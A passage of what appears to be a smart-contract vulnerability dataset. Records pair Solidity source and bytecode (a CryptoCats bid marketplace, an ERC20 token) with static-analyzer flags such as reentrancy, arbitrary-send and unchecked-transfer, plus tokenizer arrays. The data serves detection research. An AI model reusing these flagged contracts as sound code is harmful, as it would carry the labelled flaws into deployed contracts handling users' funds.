0565b600061323d856132378685611cc2565b90613e73565b61324b856132378887611cc2565b11613257576000613187565b600195945050505050565b60008060006040518060e00160405280888152602001878152602001600081526020016000815260200160006001600160801b03168152602001600060020b8152602001600060020b8152509050600080896001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b1580156132ec57600080fd5b505afa158015613300573d6000803e3d6000fd5b505050506040513d60e081101561331657600080fd5b508051602090910151909250905061332f818888612f63565b600290810b810b60c0860181905291810b900b60a085018190528451602086015161335c938e9390613e97565b606085018190526040850182905260a085015160c0860151613383938e93909290916130fc565b6001600160801b0316608084015282516020840151604085015160608601516000936133b29390929091613227565b905080156133f75760006133d184866080015187600001516000613ec6565b90506133e56133df82613fae565b89612d85565b600290810b900b60c08601525061342a565b600061340e84866080015187602001516000614299565b905061341c6133df82613fae565b600290810b900b60a0860152505b61343c8460a001518560c00151612dd1565b61344a8460a0015188612d85565b955061345a8460c0015188612d85565b9450505050509550959350505050565b6000600160801b82106134ae5760405162461bcd60e51b8152600401808060200182810382526027815260200180614ba86027913960400191505060405180910390fd5b5090565b60006134c86001600160a01b0385168484612ec5565b50909150506001600160801b0381161561087e57836001600160a01b031663a34123a7848460006040518463ffffffff1660e01b8152600401808460020b81526020018360020b815260200182815260200193505050506040805180830381600087803b15801561353857600080fd5b505af115801561354c573d6000803e3d6000fd5b505050506040513d604081101561356257600080fd5b50509392505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1781529251825160009485949389169392918291908083835b602083106135e75780518252601f1990920191602091820191016135c8565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613649576040519150601f19603f3d011682016040523d82523d6000602084013e61364e565b606091505b509150915081801561367c57508051158061367c575080806020019051602081101561367957600080fd5b50515b611218576040805162461bcd60e51b815260206004820152600260248201526114d560f21b604482015290519081900360640190fd5b600082821115613709576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b4690565b600083838361372061370f565b3060405160200180868152602001858152602001848152602001838152602001826001600160a01b03168152602001955050505050506040516020818303038152906040528051906020012090509392505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b178152925182516000948594938a169392918291908083835b602083106137f95780518252601f1990920191602091820191016137da565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461385b576040519150601f19603f3d011682016040523d82523d6000602084013e613860565b606091505b509150915081801561388e57508051158061388e575080806020019051602081101561388b57600080fd5b50515b610f3a576040805162461bcd60e51b815260206004820152600360248201526229aa2360e91b604482015290519081900360640190fd5b60008080836138e95750869050858082116138e057806138e2565b815b925061394e565b856138fb5750856138e2818587611786565b8461390e578791506138e2828588611786565b613919878787611786565b9150878210156139305750856138e2818587611786565b87915061393e828688611786565b905061394b828588611786565b92505b955095509592505050565b600080600080600061396c8888886134b2565b90506001600160801b0381161561399357613988888888614375565b929750909550935091505b939792965093509350565b6040805160609490941b6001600160601b031916602080860191909152600293840b60e890811b60348701529290930b90911b60378401528051808403601a018152603a9093019052815191012090565b60008060008360020b12613a06578260020b613a0e565b8260020b6000035b9050620d89e8811115613a4c576040805162461bcd60e51b81526020600482015260016024820152601560fa1b604482015290519081900360640190fd5b600060018216613a6057600160801b613a72565b6ffffcb933bd6fad37aa2d162d1a5940015b6001600160881b031690506002821615613a9c576ffff97272373d413259a46990580e213a0260801c5b6004821615613abb576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b6008821615613ada576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b6010821615613af9576fffcb9843d60f6159c9db58835c9266440260801c5b6020821615613b18576fff973b41fa98c081472e6896dfb254c00260801c5b6040821615613b37576fff2ea16466c96a3843ec78b326b528610260801c5b6080821615613b56576ffe5dee046a99a2a811c461f1969c30530260801c5b610100821615613b76576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b610200821615613b96576ff987a7253ac413176f2b074cf7815e540260801c5b610400821615613bb6576ff3392b0822b70005940c7a398e4b70f30260801c5b610800821615613bd6576fe7159475a2c29b7443b29c7fa6e889d90260801c5b611000821615613bf6576fd097f3bdfd2022b8845ad8f792aa58250260801c5b612000821615613c16576fa9f746462d870fdf8a65dc1f90e061e50260801c5b614000821615613c36576f70d869a156d2a1b890bb3df62baf32f70260801c5b618000821615613c56576f31be135f97d08fd981231505542fcfa60260801c5b62010000821615613c77576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b62020000821615613c97576e5d6af8dedb81196699c329225ee6040260801c5b62040000821615613cb6576d2216e584f5fa1ea926041bedfe980260801c5b62080000821615613cd3576b048a170391f7dc42444e8fa20260801c5b60008460020b1315613cee578060001981613cea57fe5b0490505b600160201b810615613d01576001613d04565b60005b60ff16602082901c0192505050919050565b6000836001600160a01b0316856001600160a01b03161115613d36579293925b846001600160a01b0316866001600160a01b031611613d6157613d5a8585856143c1565b9050613187565b836001600160a01b0316866001600160a01b03161015613dc3576000613d888786866143c1565b90506000613d97878986614424565b9050806001600160801b0316826001600160801b031610613db85780613dba565b815b92505050613187565b613dce858584614424565b9695505050505050565b600080836001600160a01b0316856001600160a01b03161115613df9579293925b846001600160a01b0316866001600160a01b031611613e2457613e1d858585614461565b915061321e565b836001600160a01b0316866001600160a01b03161015613e5d57613e49868585614461565b9150613e568587856144ca565b905061321e565b613e688585856144ca565b905094509492505050565b6000821580613e8e57505081810281838281613e8b57fe5b04145b6107f157600080fd5b6000806000613ea988888888886130fc565b9050613eb788828787613190565b90999098509650505050505050565b600082613ed4575083612c59565b600160601b600160e01b03606085901b168215613f62576001600160a01b03861684810290858281613f0257fe5b041415613f3357818101828110613f3157613f2783896001600160a01b03168361450d565b9350505050612c59565b505b613f5982613f54878a6001600160a01b03168681613f4d57fe5b0490611d03565b614547565b92505050612c59565b6001600160a01b03861684810290858281613f7957fe5b04148015613f8657508082115b613f8f57600080fd5b808203613f27613fa9846001600160a01b038b168461450d565b614552565b60006401000276a36001600160a01b03831610801590613fea575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038316105b61401f576040805162461bcd60e51b81526020600482015260016024820152602960f91b604482015290519081900360640190fd5b600160201b600160c01b03602083901b166001600160801b03811160071b81811c6001600160401b03811160061b90811c63ffffffff811160051b90811c61ffff811160041b90811c60ff8111600390811b91821c600f811160021b90811c918211600190811b92831c979088119617909417909217179091171717608081106140b157607f810383901c91506140bb565b80607f0383901b91505b908002607f81811c60ff83811c9190911c800280831c81831c1c800280841c81841c1c800280851c81851c1c800280861c81861c1c800280871c81871c1c800280881c81881c1c800280891c81891c1c8002808a1c818a1c1c8002808b1c818b1c1c8002808c1c818c1c1c8002808d1c818d1c1c8002808e1c9c81901c9c909c1c80029c8d901c9e9d607f198f0160401b60c09190911c6001603f1b161760c19b909b1c6001603e1b169a909a1760c29990991c6001603d1b169890981760c39790971c6001603c1b169690961760c49590951c6001603b1b169490941760c59390931c6001603a1b169290921760c69190911c600160391b161760c79190911c600160381b161760c89190911c600160371b161760c99190911c600160361b161760ca9190911c600160351b161760cb9190911c600160341b161760cc9190911c600160331b161760cd9190911c600160321b1617693627a301d71055774c8581026f028f6481ab7f045a5af012a19d003aa9198101608090811d906fdb2df09e81959a81455e260799a0632f8301901d600281810b9083900b1461428a57886001600160a01b031661426e826139ef565b6001600160a01b031611156142835781614285565b805b61428c565b815b9998505050505050505050565b600081156143075760006001600160a01b038411156142cf576142ca84600160601b876001600160801b0316611786565b6142e7565b6001600160801b038516606085901b816142e557fe5b045b90506142ff613fa96001600160a01b03881683611d03565b915050612c59565b60006001600160a01b038411156143355761433084600160601b876001600160801b031661450d565b61434c565b61434c606085901b6001600160801b038716614547565b905080866001600160a01b03161161436357600080fd5b6001600160a01b038616039050612c59565b600080600080600080600061438b8a8a8a612ec5565b9250925092506000806143a08c868d8d613190565b9099509750506001600160801b039283169550501691505093509350935093565b6000826001600160a01b0316846001600160a01b031611156143e1579192915b6000614404856001600160a01b0316856001600160a01b0316600160601b611786565b905061318761441f84838888036001600160a01b0316611786565b614568565b6000826001600160a01b0316846001600160a01b03161115614444579192915b612c5961441f83600160601b8787036001600160a01b0316611786565b6000826001600160a01b0316846001600160a01b03161115614481579192915b836001600160a01b03166144ba606060ff16846001600160801b0316901b8686036001600160a01b0316866001600160a01b0316611786565b816144c157fe5b04949350505050565b6000826001600160a01b0316846001600160a01b031611156144ea579192915b612c59826001600160801b03168585036001600160a01b0316600160601b611786565b600061451a848484611786565b90506000828061452657fe5b848609111561087e57600019811061453d57600080fd5b6001019392505050565b808204910615150190565b806001600160a01b0381168114610aee57600080fd5b806001600160801b0381168114610aee57600080fd5b604051806101c001604052806000815260200160008152602001600060020b8152602001600060020b8152602001600060020b8152602001600081526020016000815260200160006001600160801b0316815260200160008152602001600081526020016000151581526020016000815260200160006001600160a01b0316815260200160006001600160a01b031681525090565b60008083601f840112614624578182fd5b5081356001600160401b0381111561463a578182fd5b60208301915083602082850101111561465257600080fd5b9250929050565b60006020828403121561466a578081fd5b813561087e81614ae5565b60008060408385031215614687578081fd5b823561469281614ae5565b915060208301356146a281614ae5565b809150509250929050565b600080600080600060a086880312156146c4578081fd5b85516146cf81614ae5565b60208701519095506146e081614ae5565b60408701519094506146f181614ae5565b606087015190935061470281614b0b565b608087015190925061471381614b0b565b809150509295509295909350565b600080600060608486031215614735578283fd5b833561474081614ae5565b9250602084013561475081614ae5565b929592945050506040919091013590565b600080600080600080600060e0888a03121561477b578182fd5b873561478681614ae5565b9650602088013561479681614ae5565b9550604088013594506060880135935060808801356147b481614b0b565b9699959850939692959460a0840135945060c09093013592915050565b600080604083850312156147e3578182fd5b82356147ee81614ae5565b946020939093013593505050565b60006020828403121561480d578081fd5b813561087e81614afd565b600060208284031215614829578081fd5b815161087e81614afd565b600060208284031215614845578081fd5b81518060020b811461087e578182fd5b6000806000806060858703121561486a578081fd5b843593506020850135925060408501356001600160401b0381111561488d578182fd5b61489987828801614613565b95989497509550505050565b6000602082840312156148b6578081fd5b5051919050565b6000806000606084860312156148d1578081fd5b8335925060208401356148e381614ae5565b915060408401356148f381614afd565b809150509250925092565b600080600060608486031215614912578081fd5b833592506020840135915060408401356148f381614ae5565b60008060008060608587031215614940578182fd5b843593506020850135925060408501356001600160401b0381111561488d578283fd5b6001600160a01b0391909116815260200190565b6001600160a01b039485168152928416602084015262ffffff919091166040830152909116606082015260800190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b92151583526020830191909152604082015260600190565b90815260200190565b600294850b815292840b602084015290830b604083015290910b606082015260800190565b6000602080835283518082850152825b81811015614a3d57858101830151858201604001528201614a21565b81811115614a4e5783604083870101525b50601f01601f1916929092016040019392505050565b918252602082015260400190565b9283526020830191909152604082015260600190565b93845260208401929092526040830152606082015260800190565b9586526020860194909452604085019290925260608401526001600160801b0390811660808401521660a082015260c00190565b60ff91909116815260200190565b6001600160a01b0381168114614afa57600080fd5b50565b8015158114614afa57600080fd5b60ff81168114614afa57600080fdfe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636553616665436173743a2076616c756520646f65736e27742066697420696e20313238206269747345434453413a20696e76616c6964207369676e6174757265202773272076616c756545434453413a20696e76616c6964207369676e6174757265202776272076616c756545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa164736f6c6343000706000a | {"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
11387,
2620,
2497,
2509,
2063,
2509,
2546,
2549,
8586,
2497,
16147,
2581,
2094,
2509,
26337,
2278,
2487,
2094,
19961,
22907,
2546,
27814,
2050,
2549,
2546,
2509,
2278,
2487,
2850,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1021,
1012,
1020,
1025,
10975,
8490,
2863,
11113,
11261,
4063,
1058,
2475,
1025,
12324,
1000,
1012,
1013,
8860,
1013,
4651,
16001,
4842,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
19706,
1013,
6327,
1013,
1045,
8545,
2705,
2683,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
19706,
1013,
1045,
19496,
8197,
10994,
3567,
11314,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
19706,
1013,
1045,
19496,
8197,
10994,
20528,
2618,
6292,
1012,
14017,
1000,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,425 | 0x952224e9cba38b9f330fceba40a7afd88cb87df4 | pragma solidity ^0.8.0;
import "AccessControl.sol";
import "SafeMath.sol";
import "Context.sol";
import "ERC165.sol";
import "IERC165.sol";
interface CryptoCats{
function catIndexToAddress(uint catIndex) external view returns(address);
function buyCat(uint catIndex) external payable;
function transfer(address addressto, uint catIndex) external;
}
contract CryptoCatsMarketV2 is AccessControl {
/*
Marketplace based on the Larvalabs OGs!
*/
using SafeMath for uint256;
string public name = "CryptoCatsMarketV2";
CryptoCats public constant cryptocats = CryptoCats(0x19c320b43744254ebdBcb1F1BD0e2a3dc08E01dc);
uint public FEE = 20; //5%
uint public feesToCollect = 0;
struct Bid {
uint catIndex;
uint amount;
address bidder;
}
// A record of the highest Cryptocat bid
mapping (uint => Bid) public bids;
mapping (address => uint) public pendingWithdrawals;
event CryptoCatsTransfer(uint indexed index, address from, address to);
event CryptoCatsBidCreated(uint indexed index, uint amount, address bidder);
event CryptoCatsBidWithdrawn(uint indexed index, uint amount, address bidder);
event CryptoCatsBought(uint indexed index, uint amount, address seller, address bidder);
constructor() public {
_setupRole(DEFAULT_ADMIN_ROLE, 0xaaEa1B588c41dddEa4afDa5105e1C4f0bdB017F5);
}
function collectFees() public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender));
uint amount = feesToCollect;
feesToCollect = 0;
payable(0xaaEa1B588c41dddEa4afDa5105e1C4f0bdB017F5).transfer(amount);
}
function changeFee(uint newFee) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender));
FEE = newFee;
}
function bid(uint catIndex) public payable {
//require(etheria.getOwner(col, row) != msg.sender);
require(msg.value > 0, "BID::Value is 0");
Bid memory bid = bids[catIndex];
require(msg.value > bid.amount, "BID::New bid too low");
//refund failing bid
pendingWithdrawals[bid.bidder] += bid.amount;
//new bid
bids[catIndex] = Bid(catIndex, msg.value, msg.sender);
emit CryptoCatsBidCreated(catIndex, msg.value, msg.sender);
}
function withdrawBid(uint catIndex) public {
Bid memory bid = bids[catIndex];
require(msg.sender == bid.bidder, "WITHDRAW_BID::Only bidder can withdraw his bid");
emit CryptoCatsBidWithdrawn(catIndex, bid.amount, msg.sender);
uint amount = bid.amount;
bids[catIndex] = Bid(catIndex, 0, address(0x0));
payable(msg.sender).transfer(amount);
}
function acceptBid(uint catIndex, uint minPrice) public {
require(cryptocats.catIndexToAddress(catIndex) == msg.sender, "ACCEPT_BID::Only owner can accept bid");
Bid memory bid = bids[catIndex];
require(bid.amount > 0, "ACCEPT_BID::Bid amount is 0");
require(bid.amount >= minPrice, "ACCEPT_BID::Min price not respected");
// With the require getOwner we check already, if it can be assigned, no other checks needed
cryptocats.buyCat(catIndex);
cryptocats.transfer(bid.bidder, catIndex);
//collect fee
uint fees = bid.amount.div(FEE);
feesToCollect += fees;
uint amount = bid.amount.sub(fees);
bids[catIndex] = Bid(catIndex, 0, address(0x0));
pendingWithdrawals[msg.sender] += amount;
emit CryptoCatsBought(catIndex, amount, msg.sender, bid.bidder);
emit CryptoCatsTransfer(catIndex, msg.sender, bid.bidder);
}
function withdraw() public {
uint amount = pendingWithdrawals[msg.sender];
// Remember to zero the pending refund before
// sending to prevent re-entrancy attacks
pendingWithdrawals[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}
} | 0x6080604052600436106101145760003560e01c80634423c5f1116100a0578063a217fddf11610064578063a217fddf14610357578063c57981b51461036c578063c879657214610382578063d547741f14610397578063f3f43703146103b757610114565b80634423c5f11461025b578063454a2ab3146102c4578063638ca836146102d75780636a1db1bf1461031757806391d148541461033757610114565b806322609200116100e757806322609200146101b2578063248a9ca3146101d65780632f2ff15d1461020657806336568abe146102265780633ccfd60b1461024657610114565b806301ffc9a71461011957806302e9d5e41461014e57806306fdde03146101705780630eaaf4c814610192575b600080fd5b34801561012557600080fd5b50610139610134366004610fed565b6103e4565b60405190151581526020015b60405180910390f35b34801561015a57600080fd5b5061016e610169366004611015565b61041b565b005b34801561017c57600080fd5b50610185610832565b6040516101459190611036565b34801561019e57600080fd5b5061016e6101ad366004610fa6565b6108c0565b3480156101be57600080fd5b506101c860035481565b604051908152602001610145565b3480156101e257600080fd5b506101c86101f1366004610fa6565b60009081526020819052604090206001015490565b34801561021257600080fd5b5061016e610221366004610fbe565b610a3f565b34801561023257600080fd5b5061016e610241366004610fbe565b610ace565b34801561025257600080fd5b5061016e610b48565b34801561026757600080fd5b506102a0610276366004610fa6565b6004602052600090815260409020805460018201546002909201549091906001600160a01b031683565b6040805193845260208401929092526001600160a01b031690820152606001610145565b61016e6102d2366004610fa6565b610b89565b3480156102e357600080fd5b506102ff7319c320b43744254ebdbcb1f1bd0e2a3dc08e01dc81565b6040516001600160a01b039091168152602001610145565b34801561032357600080fd5b5061016e610332366004610fa6565b610d26565b34801561034357600080fd5b50610139610352366004610fbe565b610d3f565b34801561036357600080fd5b506101c8600081565b34801561037857600080fd5b506101c860025481565b34801561038e57600080fd5b5061016e610d68565b3480156103a357600080fd5b5061016e6103b2366004610fbe565b610dc8565b3480156103c357600080fd5b506101c86103d2366004610f6e565b60056020526000908152604090205481565b60006001600160e01b03198216637965db0b60e01b148061041557506301ffc9a760e01b6001600160e01b03198316145b92915050565b60405163210fe93b60e01b81526004810183905233907319c320b43744254ebdbcb1f1bd0e2a3dc08e01dc9063210fe93b9060240160206040518083038186803b15801561046857600080fd5b505afa15801561047c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a09190610f8a565b6001600160a01b0316146105095760405162461bcd60e51b815260206004820152602560248201527f4143434550545f4249443a3a4f6e6c79206f776e65722063616e2061636365706044820152641d08189a5960da1b60648201526084015b60405180910390fd5b60008281526004602090815260409182902082516060810184528154815260018201549281018390526002909101546001600160a01b0316928101929092526105945760405162461bcd60e51b815260206004820152601b60248201527f4143434550545f4249443a3a42696420616d6f756e74206973203000000000006044820152606401610500565b81816020015110156105f45760405162461bcd60e51b815260206004820152602360248201527f4143434550545f4249443a3a4d696e207072696365206e6f74207265737065636044820152621d195960ea1b6064820152608401610500565b604051636b9281dd60e11b8152600481018490527319c320b43744254ebdbcb1f1bd0e2a3dc08e01dc9063d72503ba90602401600060405180830381600087803b15801561064157600080fd5b505af1158015610655573d6000803e3d6000fd5b50505050604081810151905163a9059cbb60e01b81526001600160a01b039091166004820152602481018490527319c320b43744254ebdbcb1f1bd0e2a3dc08e01dc9063a9059cbb90604401600060405180830381600087803b1580156106bb57600080fd5b505af11580156106cf573d6000803e3d6000fd5b5050505060006106ee6002548360200151610e4890919063ffffffff16565b905080600360008282546107029190611089565b909155505060208201516000906107199083610e5b565b60408051606081018252878152600060208083018281528385018381528b845260048352858420945185559051600185015551600290930180546001600160a01b0319166001600160a01b039094169390931790925533815260059091529081208054929350839290919061078f908490611089565b909155505060408381015181518381523360208201526001600160a01b0390911681830152905186917fa62a87b669c17a8585f1bb435a88b64368f843f186fe0894727334fe9f87c30c919081900360600190a260408084015181513381526001600160a01b03909116602082015286917f832b21287ea2432795be6aebd348b8d8cc7f347223914f037ae328ecefada43d910160405180910390a25050505050565b6001805461083f906110d8565b80601f016020809104026020016040519081016040528092919081815260200182805461086b906110d8565b80156108b85780601f1061088d576101008083540402835291602001916108b8565b820191906000526020600020905b81548152906001019060200180831161089b57829003601f168201915b505050505081565b600081815260046020908152604091829020825160608101845281548152600182015492810192909252600201546001600160a01b03169181018290529033146109635760405162461bcd60e51b815260206004820152602e60248201527f57495448445241575f4249443a3a4f6e6c79206269646465722063616e20776960448201526d1d1a191c985dc81a1a5cc8189a5960921b6064820152608401610500565b817f4892df4f50261a48b8d2c353c7615a02fc3ff11b1aabac4a13005154a0e9a7888260200151336040516109ab9291909182526001600160a01b0316602082015260400190565b60405180910390a26020818101516040805160608101825285815260008185018181528284018281528883526004909652838220925183555160018301559351600290910180546001600160a01b0319166001600160a01b0390921691909117905551909133916108fc84150291849190818181858888f19350505050158015610a39573d6000803e3d6000fd5b50505050565b600082815260208190526040902060010154610a5c905b33610352565b610ac05760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60448201526e0818591b5a5b881d1bc819dc985b9d608a1b6064820152608401610500565b610aca8282610e85565b5050565b6001600160a01b0381163314610b3e5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b6064820152608401610500565b610aca8282610f09565b33600081815260056020526040808220805490839055905190929183156108fc02918491818181858888f19350505050158015610aca573d6000803e3d6000fd5b60003411610bcb5760405162461bcd60e51b815260206004820152600f60248201526e04249443a3a56616c7565206973203608c1b6044820152606401610500565b60008181526004602090815260409182902082516060810184528154815260018201549281018390526002909101546001600160a01b0316928101929092523411610c4f5760405162461bcd60e51b81526020600482015260146024820152734249443a3a4e65772062696420746f6f206c6f7760601b6044820152606401610500565b80602001516005600083604001516001600160a01b03166001600160a01b031681526020019081526020016000206000828254610c8c9190611089565b9091555050604080516060810182528381523460208083018281523384860181815260008981526004855287902095518655915160018601559051600290940180546001600160a01b0319166001600160a01b0390951694909417909355835191825281019190915283917f1d0aa36f54a51c89497eacc23c8987355551876ff03dd88337aae300f6a59cbe910160405180910390a25050565b610d31600033610d3f565b610d3a57600080fd5b600255565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b610d73600033610d3f565b610d7c57600080fd5b60038054600091829055604051909173aaea1b588c41dddea4afda5105e1c4f0bdb017f59183156108fc0291849190818181858888f19350505050158015610aca573d6000803e3d6000fd5b600082815260208190526040902060010154610de390610a56565b610b3e5760405162461bcd60e51b815260206004820152603060248201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60448201526f2061646d696e20746f207265766f6b6560801b6064820152608401610500565b6000610e5482846110a1565b9392505050565b600082821115610e7b57634e487b7160e01b600052600160045260246000fd5b610e5482846110c1565b610e8f8282610d3f565b610aca576000828152602081815260408083206001600160a01b03851684529091529020805460ff19166001179055610ec53390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b610f138282610d3f565b15610aca576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b600060208284031215610f7f578081fd5b8135610e5481611129565b600060208284031215610f9b578081fd5b8151610e5481611129565b600060208284031215610fb7578081fd5b5035919050565b60008060408385031215610fd0578081fd5b823591506020830135610fe281611129565b809150509250929050565b600060208284031215610ffe578081fd5b81356001600160e01b031981168114610e54578182fd5b60008060408385031215611027578182fd5b50508035926020909101359150565b6000602080835283518082850152825b8181101561106257858101830151858201604001528201611046565b818111156110735783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561109c5761109c611113565b500190565b6000826110bc57634e487b7160e01b81526012600452602481fd5b500490565b6000828210156110d3576110d3611113565b500390565b600181811c908216806110ec57607f821691505b6020821081141561110d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461113e57600080fd5b5056fea2646970667358221220f2f2458808bc7279af08926af4c13c84043233b17f0ce18549427fe7594878d664736f6c63430008030033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
25746,
19317,
2549,
2063,
2683,
27421,
2050,
22025,
2497,
2683,
2546,
22394,
2692,
11329,
15878,
2050,
12740,
2050,
2581,
10354,
2094,
2620,
2620,
27421,
2620,
2581,
20952,
2549,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
3229,
8663,
13181,
2140,
1012,
14017,
1000,
1025,
12324,
1000,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
12324,
1000,
6123,
1012,
14017,
1000,
1025,
12324,
1000,
9413,
2278,
16048,
2629,
1012,
14017,
1000,
1025,
12324,
1000,
29464,
11890,
16048,
2629,
1012,
14017,
1000,
1025,
8278,
19888,
24755,
3215,
1063,
3853,
4937,
22254,
10288,
3406,
4215,
16200,
4757,
1006,
21318,
3372,
4937,
22254,
10288,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
4965,
11266,
1006,
21318,
3372,
4937,
22254,
10288,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,426 | 0x9522ecd0ecf55c57b3e8e3830fbae4018afc9eea | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
